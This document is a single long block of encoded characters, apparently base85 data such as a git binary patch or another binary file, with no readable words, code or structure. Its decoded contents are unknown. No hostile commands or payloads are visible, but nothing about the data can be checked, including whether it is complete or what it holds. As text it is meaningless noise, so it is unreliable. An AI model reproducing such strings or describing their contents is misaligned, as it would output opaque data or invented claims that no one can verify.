zH+py+F)DMgbriW!?#7_PuN^=&JZi>JK0(J}L~1wnPPJt~GH|K+&@fd^X@azNs* zDvv09!=`xcP=#Em$@`T$BmY21b_x( zz&~13(EO{{``pwNh{5~WRRd}2M?aQn;~q%m3ESB5NO}*IPc+Q7_ryp(UIO>^&!r)c z8+SMRr#b#q0z*H{dUfwn_dJeV02*jf^?v ze=ns6p*Y4#IG_ge$0m+`Z><IaT|knlqiGtfvPV&*VLDC;@OjZVyiM?0lbj zdKzf$)1Vwu^S7y>VkcJl$69e8H%9B)qy8iF9!IS-7ZM-6_|PJAz)%SpUdON2kYi~3 z+`0VdK4DRfXiA3GO@;xbA06yeH) zmi%b|^Nf?SGr$=+{{SE8X#W6~om6sq`g&6IZiB5S@g7&NsHOlj<~KoO==;O9Alu2ygS#C1A4&js z8;9=~?_+~Wx93yl9-frA8ReMs>q;@m+-Ly+ZOy=?#{-4@>2ff>50r^cJ957=aT47RW93GVZcCXj9E^w#i&pqf6DESWuh7|mM^BC{= zQYl@as@u20S0at;P?Q+>ypbRA2SOlUE7FvhoK%(z2^7BH*<= zv&VM@JU8MZC2TE}y!|WlEv7f0wYSBKwsd5-Mvvy~PbB_>75WSDV(>%YzZN&1m|Z4p zkba`SJ3KnW?7tf?gRyD6K{|rNj1GJL2E5EV=BVFeuB)^TJ6x6I_>tl!A)Ea>ulq!E zMY_3&ebMt_urY&Ku3k?OUP>+}JMS`cjC0o=>t;L%BMZh9^gIgoAsc9MRGraw1p><9 zyu-tQY4|vg1bym(U3{VdVYqU45)M5@NUi(D0Y?rqp4HhMjtO0}Qq>96^c4(#Yqc31 z^&nQ~jV@=O;%~#tGB#UUS(c6rla|5S%zLp>ig$)#j(-~I>hJ=gC6Hv`22sU9f0@2G z_?__~`#Duo!=i;%8T79wGoFX7mqzT;X#!~pl|04z_ODX#bRs{7HbA1}-N?j`L;nER z&3P<=q`R^~8j{yQ06KGymF_xn`F<7C5mqdHk$NsG^W5^HvR%)+$|Gx*2pRUH7z2UU zm+()(QS$tr#=dDJd(Dgd1E*S)5#^2;agLedq2tZ_-<>NH&rEHt5e%1-2Ts4GNWXms z58mgBfluzoE7aA59H(BRwP_L=Z3c6lzv`+ZfaGv_#}xhT_HsTrvw@Fyo=LiRY66K3LZ%wn2 z{6QfXK$gB@dG$48Ubea#_L~Qv8Q9psZ2DDy4=vm4NOQoOlTOwqx&Hu!;&32xR_g@+ z06O~wnz8f!4ZpD5NAU7uZ$J$Z2e;u=^gBtG{mGf|xgZ0@NvYi2uYt6IvQL`t7$2QG zL~FyPY7SwO3mG{*JLacS)rvPU-oK5m3i+FS;aZxUcOyd6Bf|r@liR&xTHVZiP}^dV zlQ70Tt3z9!=xVxR0dvd;Jon=i28GK+oir=AR>s?MPaM`Yg5RBZx6P9;TyRBe8;K$C zHlocOr!fqH$*Q^)#E*F?5ilWX3{83OPl$Aw#BSKO%Wd^FdgR>4@Y*I266a_m80v9Z zGhI&q01#Yxa*!t(#cXQVfjmEMn_Ol^?~eZfN}+tpIwRe*vaz&fA&znnYRaBl#`ukV ze$UqMW7nm0npMne;hVM|VQ(Olk@e}`v8=9APZKK`hCI{G4mqW8v3p#&yG;*7Pa*I` zhaR0NbonP98lFb;2kuW=k6O8f^_vL5jN(3+HF|liWB6-yOfZeHs(jfQJ-<3v&=SrdA1-~JOA;__Vn=`;1kUGVI-Ow9iPWVT*Oz$c!fsoYCw{{Rtg z%RrbnTy^7$Y3dDVU(_yTPls@(B>{jq{Av#lPU7C-*dLd0{5h*y{MIX?X=~)!eb7DW z+DF(|!&<|)mH^UZVoB%#=8OBFmDz%~UT=;yAKgAT5zSxm4fKOf(Bs-V=k=y(M#-BdQ_CCy)83u+7b)p}0=E}F9JxMPkRuAj_T8R?rFO5T>CifK_F<6{60bByDkTGpS%5=G(2*`|#_pDWHVI%A)D^1&UP-x9TH8KxxP zw^A|J`U>3Fjhg9J5fpE`pOtgQLFrzq!qaJJa60o>JKH}JJeqFvcN>1`k5kAsPTR%4 zXNY8oNQ`#?7jedY{i~MKW3*og-b?07fnt90;{%$?@a>+TH;;734J(7FsVeJ$csS4F z&*4)nBoc41)*@G4XSiKx@L%b+(@AWMS{#6R$RjweU&K}x+JAucEZFJlN-C}!_(;LX z=N)U+qg|S9fE#i4W&Ty=UlPuIGKg;2Z=9|@7lJ>ndDuGBbrf%**Ip4&zf;aM6KnR_ zTgwA4fJb_RR{JUO)zoE|N7_Vbr;v0=}?Ye>m8bY{~|%+9y_JNVZ2O~VFe>N?fG5v*U@S`rB^G4?h% zTx}W0UvpV{9i`;j?4vFIztmR#v7zfTYj$k2-3^hb!i>_DNWtptH3ucIw$UVi4)rDy zk-pDq&!MdE4qHMs$&Z-0$vh4_)`qVQ{inlA6p+upTmJwlPaTGTq5P{m!&diuotkNJ z<(_{!YFCZZ6OX-X5o$5U-w@|x`UA!%%BvuSaLA&WrQcBliQEuf8A`q5WL`>XU8qBqTH;aS$jgxVnwYO_! ztfqr>O^nLkNf;y8)=rmetqpcYdr5F7?kRgk+&Ld(OIJ|ZmYj`n$8DxmF(d(sdM(6$ z57me+0f6AG_lxR1hj2LO{Fp{cwT9FOA2_bT%^%~HOdhk>#7 zcgc-M9+lB}3!W%Ip9bJ4{{&?xCrTrQYg!q^ZU*gZX} zmX$Q8Ue*5q(T6u|$K2+$E#_75hNManw$RlbB3O4!*csjEe_Hwro>hd_C%FFGutkMQ zB%A~E>speNAA@CM9DBTufwNgRlfd3Bhbs>RXNtM0Fdh_*$WVDGaJaOKnxe=Xu42I!Gb4uk{ z(VgP{!DErP%Iv-Vo|N4-cmt}CfE6e4s5K8S{t-F0$OrG#95*yrM;F*F&L1j(f`9td zT$>Dcwr>_+FfjE|jlP4{r@m;K!pTf<;M{cQu&nE7(Ce3O(l$QU-MxENo9un3P6rr2 zmuh#oSiKWKbjDriF=-=b9Q>f4b+=3GbfUPigkZnObr$~eV@3}OKJK#&e_fBMxDh);{P@I!7Ft};h_@_#y8a7K>_ z&ptrMJm#p|tcO#b{(tq~{<;Fjo}jTUt)hi&o3KyPrV78=kA@sYS-0%w=SBH}ER0v4 zNCb0JlPc-6oVWUu`I;^(3ucR%32vwS^rl?JyTtY%HwkBs4;VcE09s2B-(i3mT%Fkb z^GtI${3Q2d%$ssYuye*c=il+6G1#|sF`!)q023k(ezhf{GQ$wv&c)B+RWDh_fQMl$ z+N?u{#sFcT(yUt4kjGTP>*#!>@b6OU~4Jt|AoEB%Cljy~5TXFWYC zt)nrQUL{wZaFxOBlTW#M4zb}ev9N8NvEz&r{P?GEv2+jgdyY^1c}h9;Ad01Ct@b!_ zU+x}ic491U$z#p5pkVYTJpTY%j>*sVR-KX0*+Krat`-T=pIEU!yc;cu7&z*4+N{d1 zx=e>XSre~Zo+`hZ?X2F9EkIZl(RVc8*h;FXPxj0QpKO!w{}vIc>C1Z&-_X+I2rO-(i8I^z4tO|3$nvVx+iDdHR46;dUDwDFBeH5x@F#Wwdf~s z^sa}(Blk8qGGt0PQ{U8&LEgEK6PtF|ZTHV6({=~SGJg-sy6*`h{{U!dn_ae{dV6DXfKT1e6uXbvt~p*K$6wZ>=gd5gIPFO+fpq)KC?v(#)84#9 zdJOU(7);A=spS;rGx$|c2JZVNmNuZwBRqX*@rxI-z4=@HSsgmnzX+nNI!Mc8BA!QT z_V4?X&E@^!?9uUKZVCSYmP5TSuM5|;Ge5eAi()L@PdPu{07>GMa7XRT6Vu&iSFvpD<9 z$oH)6LU_|nBuu?~^{mZS@(7WExgdn~t^)H}g_h|)*8c!2p82kt6dcSd)lnqZb;O5I zv5Z<>v3ESHW2YR})}D!X1+!-WuO~h0%CAe^Us|~=0JsDmbJn|UD^s_E2ouhar#0x* zprZ{pIO9>dYq9B8dVQ2E>>3hC?m#*J01DJyqjozJiu1{J=z~T+(SUQtX{TBn(Z1T4 z^8IVhbY|YCVyP5*D3j*ouimEyUBmZ-t$EPbBPB=Ldvyl4^xMUhkMyM^nwe8^T9p~5 z&FiT)Y0|M~#(Ix>;IDOvBGn^L?Ii`Lz)_yn-dsY`X)e6-ovY68G^ra|Q}zwmxE$^E z?^R2ec1+vob^2|}$Ri?5gU`9oAEk5{{{Tl%y_&$%?7XO=JF|g~IQOm5ox`8u>sZv1 zzJ{=iwxfn}bGz?#rvP^^Bkt1RVD;*1B1xAV<2b0fRwgRNhae1!rF$WY#hB+D$v*?qm%Mif9=hn8RNy(Yinu%8TRgHBRlkLD~gU?!{acpM}5Gme+ zq4lpmz24p>hZE0%a(nTf_^(0HFA**6bDk7+_Z8plxg&MC$QxISv|4;ii+oYH!oH2Gp~?gK5S&_p6q(hueevHH%GdYMN!-fSpAt3O5i}?*6qKGAiV_>+9C2$$4r8 z!1H6y(?VAhb}C+9#T3u`!ai=b&+0N8t4!uY@^-E}#22>>$)^KW6X0(r!%nYT`u8#VDfo$6fKdTuQlr0e0wzI{oHxk*B^yN1iE0g zhxayw?c|Jc_|*RZYPA!9teDz3u6mPl(#EvnmZjb2VH*eDKmNK!&&+Y_RUYCIy@c`o z?^;;y;An^mpOpF<$5d-{XfOJy`2G%+;$AXlTm46ACk2QZuV>%?021lQQ=cn5SB?0g zS({SINO^Ac)q|J3VToSp$i)@R+I7Cgo0aN1*1nTxtw-WmOI+RU^1ptCuRIN=yk2n|c+*ZMIX~myZxb zI_LZaYP{OYL2P45KJw&`YHpnbQhZChFB*a5fs#6dUaM=R*gd3sk}@_P)!kOKVY$s3 zQkKIs6FmB5nVvkHbDHax-%eQp79cQQx#FwZ+d&1qVRnJ#iCmK>6C>0VVzw|Z=M z)2C!wk7$nI?c>T}!0%o|;<-Q2?|www9R3yS0RI4^Po3N;?_M|Jc@W&+@VqxeTj3?C zmLX_Q;KLcRQUhmj7|*?W;ve*A$yNKKze@671{lSVV1MPI$j^NC^%d(Ww8Dqw$CuL; z7|)2THpGAeqvqo^ASZ!tSx2JEWt#{ zgcF+GT_(uHRI~#Oa53x8YOUe*{{V@7socNu?!A7M(GT^#Q|^kwt!XJ}X-<-8#!Vu~ zOmHCs2P7>x=(=k>pYh^yr;rW-$4+Z=3!Luftv4sl;!)GEsP@wCU$Tkiekieq-WF3H zab_4~a8!;6KJ~}=VFUQ~eX=OSWSaDU8fa-P1m#@_gLazWWA-yQ3` z@ZF4%Y1W9&aJ=*sRZ&XuWXGCX5oy{Wi&#k(+rK0&cTu9G5vU#NL4gu-M>Q5to%hc{ zTr;TUxz`9Nk{s;LSE$Jzv<<~yIW zJm#K3+Ir_S!=IED$2~x##v#v|zjyBTr*qs6w9)s00!F2nI0uI(F?%2lqoH zo+?KBiPIlig}7$Gm+#>4F+&;}ahAwmx!$3Ch6e-g_B`gL$;jn>d8RNKY#!atdekz} z5Aiq5e)f5zjGjk9O$7PBjYvv~SLHnbtjinD=lRbA(v%;SfNtHXq=P8NdSadd!u-7F zsRJ3HXi`Xw^*=2~{2dQYz|@%@TMwI_`0wdRcL-13`}~kO%|j@t!{=|kNrC7pXH(^_ zN9$2{UJXQzB4_H~@+fLUkGY=J^S6p)9!oaWKfT8l^k%F703ybyaCo#N*Ux?@Bgt&2 z{{UJ#*T2K>_lK99e+=cU!y{RN9|BNKbyp%b(QL_icWlqfE0%%JmliSi*Pq6>%!~b( z4q3m|{x$l}AK*vj7@a1@mp^1bG2uEM^~_$YeXZr%4rQ*5gPR5;em3L}YRs4?_H2RI zJY;d48q#J^IxPl8{>rvstAKzS=R9h|%Z0Ybx6WPMb|;#@qe~)M%D!3J4^dctCU$5q zcV}mk~>(&QF?van`>ZT8n14^Y|9$ZQa)Y4d&(A*{Sjz{DHDE3H7Y&XplG5f?)E6o~_|8pz5Ajn;llxZoWVYdp z9Q|wNy^kKfBAwh#iula$3(Gdr-2H=xF`m|nP3n(Nv6PVj1mhXvwwQd2hCg<=%`RV- z+Y$_M-n#f$v@4%aTKJq@Hhmk>lSDwBa?RWVI~wS1rTy~ZM+UjRLyx`pyH=f~gM4{q z&hBf^r9Md!RvgPitwzXLE;^oIG1#x6u9RlV@)PGc%MNN}++hbC?-`_(104L>$751J$RopJ zfk`b!_8rOoChySF6&_pgzkl_qwxBFbkJHoEf zh6u99E^^WF?NE{X=KH;Pr3Wkq8}p@Lcdyo~aT7#vjxp5aoKzC$?G2oNOqzJe$K5?M zp84%VfMFjn^``Yeit6N-T$~9HPV~F}VlsF>l+d3uax=b~%0kEnY6~ai#z_8j*1&~& z=RUNs5*TD2RMm-ueo`I3!Rb_yHzSCjFBopVwQ#N?8OPnK2;aVs<;TsAD%^~AsKM#! zPA@`ah~xw!A28z{v^V;NBOi0EF_@GCgZR)LMX4RbV*{ZEkRXpH8986PXmHpcyg!Gn zN4R;?V6F_O6*`qMwn*!dO$=&+ax?3ih12FgF#G+gz`!Rt>(Y)nBR_Yzqm(W{LGp*p zFdL;$5&hW&o}RqZc)%KN$7h}m4?PYS$<5StV_@_l+!`QOu@EYrZqL%aAYH!YL(qhX3cBw^dHtvr9LA3Gi@6OdGb{{ViJ zZ}~p&AZH`JG{901m_B}Td;W%y2lJab9Ga1Hk<_0Dv++?J126AP}8MtmjXd)}2=dcpkB&O1g#4EtHI&0Ixo~ww*N> z3mpFdbnr(?`iAz-IR(e=Bm20|rFrJ9qLFbk1&j_(0`hB;ttNZeEW@K`iHCUZxmPDW z#}#@xftd*nlDVyW{Wef;aSjNR(z&Kd(pL1jC-Tpg;>;DGjS#T>wL^XYO;-) zrN|w4tOT2De9DKn;a20EmTWIVFnd;VrPyvJ;d=( zn z<}D}A+;dJ?y7F_71x&E=$8qc4s?3X`9&$c&_bBhv^A#ae=eXM3OV1R?1ZOIK?|L~w zF@=a@h8(D-WckcaPX?PIK^mVk__`19s>Wo)W>7KfS?iA8RIq8t=uxsP>er9u%*JtpoDB0^9n8~9cHkB{bI{ePrn|Vklwjb= zfCX=9I$>*@a`xkyJuBF!%SCz_ReEo^7KNr4ks0mWjpLFJTJ{|uPaaGlTd?EP{3*IN zmxCTH`Y0U_JXfS?mK#!gPYYWc2{Es6OiH$X3);4ImbU99O&lS_zEJ+KGEM$?+ zX<~&G;AH;jbsfz+3Fj~Gut#BDtr{wtK61ThQI;fdAjTMGsmf26)#=UwdXU(_n?2OBXA!z90@yhsVI|q*^iUGBa^XyRpmR>ePu<$_2Qo< zN~qd6T3{eQDd2tDni2sy1dRIhs23Om9la^|UOIHmBn(+fnIyuRt_j>np!KPNK5T%J zK3)hs^{81!@&hkQnG}aEJj|1hwJ9m&rWtsbCz_4+3t{`$`?S^AU~W%ON-ts9cptfy zw{?@()|>(If#2J;HGkES&))QYXC$5}j9FDjKD8kkRXM@( z{V4$$P$nbg>)(zlcIMv!$5BbJh~0@i3Sc=_=c%A$PI5ZaXxDK60A4HTKLP{& zgQegf^MD#s=(2%zLoNcYMw=v-M ztb1?|kU7T6(FBz1U!c?2{MNp#l%L)nJNBo8@-`Q>MgZ8HH!GT#3IhD=(zH27hCBM2 zun6+W+}%4=0Y)>soYR{=UN=<|$8|?JJbKf^fWLHSZ+b*u+45}mwmppte%EQ4p$^EA@Cb`8n?uQ~UpyRVZB zWrj**eic}|ZctB3U`r^?wlm!Ks;V(JK~uq!RlIr+Hy(#^Dy^`(m;8yWkifGkMgAOrEH zZebGg1t4Sde5a?aG5o@V8#;<$DBZcfX5{+NGv_x$P5HdY`8_=;-!Ol=ahd>GRCx=9 z`qwwAS*t@S@>h{vKJFJPa9h)wsdNcYJg|QXV0g}{VgA4ONADih!d=^xnZX2n_3t{B zo^9k|5^%#mjd|X!U<)zwN8asO&NnuvQ2aqz6qY_jtNXy9GvxE$qYeA{FjogP7xCke zJhtk-p2z$sB>9X-bKj;b(z(UVPq{-J6{jl(bMmM9yyrjXnt&6W>>YW*6(XwnPIrtF zGrOGo&^wZXcee@wKDehdHe2TYEdIXL7zbv4f4q4Euk@#X58Y3|P%<-(+q}I0058s? z`M%XJ-Rsw{>sCHf8-t!yj=e#pEBmL&QSxJfjt8{>LOEgk#^H0H>FH0x318$t>oDe?f7Dp1}_jLzt#@jDeMQB`~&ZbziV#p$@{K1^!K4FkttYhrL>PaA0fFJ z?TYj*4^5G!gBFSYv44l0(W2>cvs(qURy&Yn_a?rB@IQra=F}{Sv3z7V%$=GJTzP z`*H34Yq6D%NX&nGJt`_xwusgc?m9=o;Bkyp1&Q8sjHh3v4pgA|r2D_6Ly{eUSpMg& zbDN<_<*-j$LPiMrbB?~0G)#vyJ@}ObP)4=K8lx_~cCBec2kcS!i^x}`o zlOH)a=M(_H-}xM6!Q|3+Q~uGQedplgXMQtEG4l24Kp-dgZPTZ2DLBS(GrV9@Fdk_6 zbImV)pTc`k0GI$0J-IZjPURaL{YmDGlH-tmQJ$XkXO`uD?IDf9BknOd?be;ob-@Gz z5ArmB2Nw%4DS1_ji0aKPZ;utBkvK6&@n%R@Osl* zIUkKE#^LjE(9?GiPBERmJ5nSFAY`!X_|T{3W5+|Bev}eRXP&$R&``L_^VimxTyVzW z@{IdY{72^QPc#BIpOpR{o#{X2uTNf`r~o@GV1B&Qhi`L64$<=R zS2>^nV|PZ*JNi_qjo)xmD)6~q;`HxUkxuB&#qCpak_1u5UbSTvLY}{O(v&amfyQx9 zP}u~4K4VbXX#i22FcR2_u;pMHS=BPZqVf6o;4+r6`}eEq47o_Jn+`qRKW0ouo&MKB+MgOBeT zZyz_zdQyz-IADHY4hZA*>p=iBWRJV~&@njNcwfgq(w7UD%VXx~4@zD#9zWph1 z0DqixJZFGULVv=YpWZjfokvcd^Z^(r0Bj>9ezfD%AD_QLP9Jn|JJK9)>Ici*&;oqC ze5dZy)Gik%ws@xC?i>Osdmc~TpazsBvK9Cz@%$(%+f=@U&&QH>uak+-% z#_V!v03Gnh8RQC57^oRc?>zMwG=Lr46P>i|oMSz^&;n%bZhs)D{0H);;Nbk8hnfI$97smvz|RAzr>-#BRL7Px zp2wPqRAukmNCKMY9Whdt>DZ#i;0zxfp4PCxCTIrQyJ25=cp_To-(IHcs3IB+)+ zpXw=i^M2{UIQ%Fl1Obn`j-9ChqoC`Invh_|!!6L$6y*oXDRaQ!@;eFuUMZlqn8I_ zo=;j%=dW5(_fKE)XaGC0_m+?oxN<<-OPrJUy3ht=oMWB5A4&!Tq54zC-G-syILw2U z9V$VelO=gtLLK}^?{oRmj;-@IL)3JppW>wcC;PwZznuaU70wFCeR<-f$jSNS=03;L zn4_MIPXnHqr6cAX4zvLw+*UGJ@fZS_dXJp_{{UKe{{U9s?scZ~lflkC4FUj8ItMg)kQ#dwjIVTm|{y8DM$f(+O?smQpj`p4lVr z^q>gFGQYg<>rWqeecF!=xbS+^%02sfPy(nvXG74`mv6Ssuz4_?Vu<;X4&UOcI<$do zCm~c3ZflznD@59oyFO3&`F>&eQ{u2L0N-TDdFPyQ`q#yljBWn_XFV~+%ZHZPBqfLU z`u@FZ=x^FLQ3pn}wfk4iHU9vXKdvB$-()(OB1kMXV?3V!qM zbYeD0;-cBQPDg*t)%IPsk>JP%dp1pHS}8DYY>sP3<}t)Fe=7DPc5q1zQr>78HE=s9 zAQPPDr}^TcjTl@8+BuAOtu%#96R}A6QX3$DU+Z0PR!1z|+2|ezjz8@G02I$Ho#tWF zS%K^h4}m2-Mj&p(NLd3Tf|OaB0rhW;F%(-`h+r?A;)`#bpR;kO^OXle#AlFqmo z^~OoAW5eo9h6EGejMwJ*%|_}aeUHD(BWicBH_%f#^2H~A;XKre z2Htl573IY5VlP(d!ThPsmz+*o(JvTF;{IOsdpu|zUK)p_EiP^Kfm?M%QCjH>N#n#%75!m?dEl1VnlI z)pU5J@m29?RQ~{_9^QhttRS?D!k2DA1i_G4V>qncHVa48HoI{lwdpaya;6t z{x82KQI9b4Dn@H+a#%;C>Ff4r4*0v~o2D(4R#!4C5P)GP0OOu&jFT#9ZCVU~3}r{B07JVTlz-9qU_A7x8!jQQAUC;Oy(oS41SWDEM~Ni^G`) zGH@!5S}-?Xlh?t2rwX`U&jTFTxbx|hylo1$@%)~xG^cP6)^;#2a%6pV_C zL6YiCP9*X`1i!%o$61ZMsn72QewpO{6^(iF)0dg0 zDBfuHvPao&K5v(M^N!iC3HX^k(`wdHq+=Ka5QRLNklP!29E+54DdWal@ zbfb@2`UXpDLoAQ>Xh$a;dRL2lJ1X8J)Bga~b1Ba5zjXS0;C?mj(h?w>1+ju_#muWd zbdleKr|#VF&xrG?%cerGl2+?~9=PlJ);EXcm2|teHuGRuIpuqd)V?>Hcf`5I;%(3;`AST|bD^Iwya4lC&kTPrru z><(gMf-PRQvWP1BX;b7u)5iO5`6jd=Q466)F|jAzfzG19&5_IVSN zBH+Q_+*i(CHhACS7*;16#w&cja&z3v7Zu8MUI@32;uTYE69Ev<%6t85(Z+|TiLx!N z!QGr~9c!BScNA--%E3s=FywkyqRin0tX+T@KhCnn;$`hxTN+TJxfRZCZ3@a;sMx^= z%1>$~(JcPL5JzdkkZ?avYL&-`Y!g?SKeorYTO73#>$ZQ{(K}s22K@U{Uf6Hhm1NO0 z$Zam=`y2qQB<8$Tq>4|9`pT4#AKC{PJan&N)OD)~yf1#Kez`Ws7&YQnQRl{!zVY*F z1e0F23CYE|ZgApMZjwE^$3uqa!#3<~6o!abO`+)UT1dz2k&m2XHJxdy+F5vOM2y}p z=ClVJxgD#e)32ksf!Ii-{hy%iUR`>V*84NEoFk`mLRAeFzyxx=tIl;l4-1WINuJyg zNyT~uj#4>GIpL35!fjs3ZzqZFZGjoU&#iM&n@;gIsTB7-tHkye)_xb1Ch@rdAlEUZ zBx1~T$sNbmxBPo|=UXS0Il;OF^V>Czpxe(Z2OIH*A6{$d=t-(~k>k~k=VWBYqF;#@ zE46XCah(1&>Fc1q$A&DyLyf?Uj)Ye!rs%qe@no{HOh4ja*eBCGewFSPw{|gT)-f@) z4j~x?bDHGFV%lqv=)>Xf@g9F4hS_Y?`7Rhm^&tNMDyF^}*(}ag$IN*ny?VI3vpFU0 zvE`bpeRX2mOuUpxJ;@M|GuxVNb zRwObG{cCn#4{8nKKQN@BO7zWM@C;1XHekY-P!2JQ_C}81YX1PD#n29UuP+mhlqS;X zcTvKp8?(djbQ|Z>e6VH!%n1kj)V8_?ryZ*kIpRM~z;re2fAK6?lsZAX)2%BT9kPI6 z#~fy{{?VC#REgoEMbu;S+xLWSCxPi))}!bD0K!kF#kh|y3^&x*&^OIsnq}c%v*XGq zk6QWfQI(tGCa6^#0^xdBrGvyuqIWp)G*mV&&a*Fvub4>x0P0nF^(L8MvWQ_N&)@G! zc_aS-!Xr4x%x@E^?MtV~-(&!;Ff-TQyKZw>MmxM&t&p4zP~!vJpX-`_sP1%|B?%ty zw`Vx)1y_aQI^MQbNDZmB-*HdAWEZ|07zcb3H%^2Q2lb-iV@4AH0NHDp@$&cjRSQOx zi-2Pv@$lZYaa@09+?Hj)w{Epk&OlNY+rdNIy(@)}3AX(LwuOIQ_C>iaLMHdSdEZhAQ4sqt3b(^`wx2;@gs4a5Qi+=){gcDpv~=JE!(Oph!3carn~0 z(fJnREznd~TYs_N1O8&sspNVe^Y~Pds_ap?XURMU=}!8J#7gQlJwb+fxGT?~sikPY z(ZMV-=Bldy0Hji zy}Vzeg3;jKu>c;uxvxg>ny9(cF`tzc#yzXc^|I&3)@!w}E(!ivuUYV#u!bO1@oS&L zy)0X`By!PS`PrQLkJNKdAq}L%3CbVy#WBCuw@FBhq;nv7RpBa z^sCxVmLOYT(8rYkX1cK0Q^$Vw5M?gFq5H?6;YJImzSr z@lVOx2R(f#AZ`9Hx;s;Ha6M?ffaLY-N0FpEB>VWqdGly;v6nW|WZe=;&-wmU?SvsM zx*&6&qt<|y-#7X!M*xmRbngaebX+KMveM^h`G-^1llNhtHt^@(quxZLuP3Dh{Mo_gLDW|&XGMpC zxHt=p9x+b-4&Qgv6u=Z5tZ=>|H!E>+$XpEj;<*@KQ>Z)CtEi&(su7#owFzPeLB#sL`Mv-8BZuQ4&;8uj_4%Bqo3GbqF?`oV z%5`Y|=f^4Kc&2oSFBRAwciaB&dp$KcS2LU(I=wm@@<%1@&b1TNMYhbpQOB>!@UKno zkEhIEftI7wnR8FevP=hHT;kOgyMcadpSXDw!k2zlnTVUP>J&rcMH@d_RJHMK2xcf z$jsM!w7b-#bw}U7Wx9i%_0i!`2ayO1Oi(gm)lTH@-TLW4qxxgVuy}3Hj7K{p^E({O0hgUediy(0i#g+%hy{~$ z$=`4_)SU4Ke%NR3ItS`lct6Cbl1c(}cX9bbn7aML?z8* zNLr{<^wg@pH-BHQ=7B4meRo~OGYNljQCy&vNLVEVl?c-#Q2m>Abz;xOLwX6WwT&c6 zG1L^|6Ov-~r8CpNp0GSLyIxAucsWsApRHioYYR9sk8%9*+u;uev~DcvI6(7Pszhth z11xjP=WkHNm$1@Pu$8-Q2a1c`C`vU+42z%<5qT|_6#~t4pFQD%I<6aXU?;cS#&Dni z7S=bmHrm5QK#VUOKhl#w3G=!`M4bwLl42F1UGeMjrzs*jDvOn$(F9l;2ZO%n z(SrntA)C@&qb}|pfF<%Sl(UYq-uBWYc+W0-#diFZl(D55mVQ!PnO7Re^bU6_=Xjk8 zPA=hXXZ`E*xLzS$Pek~RUJcS;BN*|42pq3`zci?u&>i58bE$4X{0D&cwtA|6$$a>n zgWPfjZsRL+h=sB%JFY{z@y5dX~$8M`RkK!j){rT*;dsw}PcaB4;HuI8Nf`;+# zs0z2qADagwrTV%??6k|*^T9iQvI!aWj1T;Gz&arW0?N$uZR3L^6;n(np1Ad?Cd=oX zS~31Q8t*J(Mm(c1j0bZw*+G&%q@)^*%vd7yR#aA6crAx?`tDHoRad?G$65t*s; zW2f(KHH@#2*Ib6bQ`VkdIqC5r#-}S}Td`rfwP;Vrx2yN&7 z2k>s>Y`y+2Da)y{Sfqb>LWo{^^h>ju9SFn6wRVNlB@xzIa9x^Rs0^*<8}nels+UK3 zNEe>&R~wXQ_<}L{s$b5{{cE#Y=d@;$;PYD;q99y0`P-=c57W{FpI`hH*4OCJa=^;b zcuP(1-Jtrpf}$>3#K~Ee&cuzW3`d zTOb&dzGaVaPfA&8bzzGWr?%9hBLoUo-Kq7@AL}M|0_I$s*zO^%F*)fYC|qq1KK-ODaulX7_pzJnZ8I*Bp=so`MXs|r{P=PfA=>h7aqn%Vjlh2@L0E8w=43S{#?GGwFa^llU}|xQ#nU}jrbhXZ+<#x zlEBjn!abM)5%sf9>vm*ErHcLQFuPa@-)Mlt<@rLZgCCK#vwJ>HCw^0XvkzdQ5Fs)DRPfl%pTqxRynR4tV{~{f zdx%WhV?6JQUTdh-XxuBdC#lsR!8li^z}*Eb?@!BHLo5q*x~Iec=#IG47^J) zNvK2O&c~wYVI=cHNb1$0U&yBd4(PBpcBW3vCX8AdSfL7&EfXuj8i1I2$&!{}Yf^-a zsv_aAX+T6Wa9HP=Z(hcE4b&5h)rp7+f4<2VqJl`a;HlIg$FFYDMcCzE*^OrU=Xt^u9CY7q6A_xtOd(VOpL^1AWJCH?Dk!o_4_oU+5|O-5D-C3H3|}6LjTB&ayTlyQ6-)n zemLDvWN@J3uy%nUD)exih0m#70LT_YQOgr#R&3)Yn@l73Q8aY=8Rg~T_dY%~mX6C7 z3}H;d{^!Vzib?T~$I5p*+2F@JmfiAc=7!*feW!g!#B|i;#{1IMobc%yZ|1ZLi}wCL zxp+q@z-1jnr^$eV`%Psr&Cnw94tn^>=&JCahkANcR00$5_KG0r8rXuj+c@}3Ccf&g zoD1DWNI9Fb$e2hchvG`?dGp$%RNf<+{E+VNvR!?Q7!0$wUdl($y#`~hy&b{&M$DX9 zffu(r1+c>B%rmHie)fG!FNIAzL)3 z#WNz=A1@K%bHWxZ=tKyk6NR5#P{ycT>aL)(YevpTRy#*c!oo499FHvlMueOqN+;T- zTOd4Xx+VoTrwT*B73!pP9m2iQg#Z3tmFfEZ>9*>XI)WxwFagU+a^v+c!r3|rW^ls7 zYdxrxGE*o2ZcPTo++!Rc{$<^_oMlLO6ky0B#?1s*R$@&7Fl(Dc_2uI?1vCx2MA8V0t2AoqmQPnenziB%s{Ng`0QSbDy9W#RB2=Iw>w?lgGN8 zbcl)$N{i_+AEWURz(?9^StDnw@@Ed+kHn&`_XQLNi{@-t&`Z^TEW=s3^7t%VTYa zWILfS;E?CJzS{M%jkl9tHD5h1mWyc62Nf8rOj^z4C%_o1?#^a?(Vd7sYt2+T9wZ!X_fa>{@|{S*_%JF^5?(ypH#lpt6q-o z9ia8x)L4}F%hptG=)agY#u@+&V3NVW(ygy8YfsR;t~#J$w*dGTUztl`YEDX%%~aYz z+RU=2P%zw%{*kqrb&83w+ma2)YDUr)qt&2db>`&$21`C*#(u!dnMNb8@|86aIW(`9 zA(SV4aB?w~mS)Tm7~(w`qu%t1iRZSEYlq$ zO6bvkro8mQ{dnzXniMRTEjLnHgmBB1rK3D?m<19XawPeOf54TPbDFZ=cMXq&xo3a( zdJEg)_z#fhT2C4hRRmw-61+JIKxgApf(CY*?5+fz)qdrxyN^1yy_7ERY{ie z+2wKM46!z~rA$YXjW!|RMVA(ko`y@Ox20StuxIeQl6MZ`zeZM1wr(06SWPtk*seq` zgm~><%z*jPi7MH-cXd9dg9d%q@2N}BtLPOBxN3OOW<@0A$edhE2jRc)x4!V%U`J_CVb9!JPL{;-4k;#Dy?0 zZmHRsODV(aLj@D3MUhisvPikP=#J+L<%WD8@jy12p3fOr?5RDTo`*x!+XOYQ)GHincY@= zQg8HUH-k06xJ*6Lp@J4sX0HE1L0^D6V9K8h-|pGC11cj@&}aC3OTWC_QW>wS z&!Kxhc%d(vOv5%^v{G+$xi~CYZ`HsRIG$f9&W`V)k%txsu$qPc#MDU~V{u2#)8R44 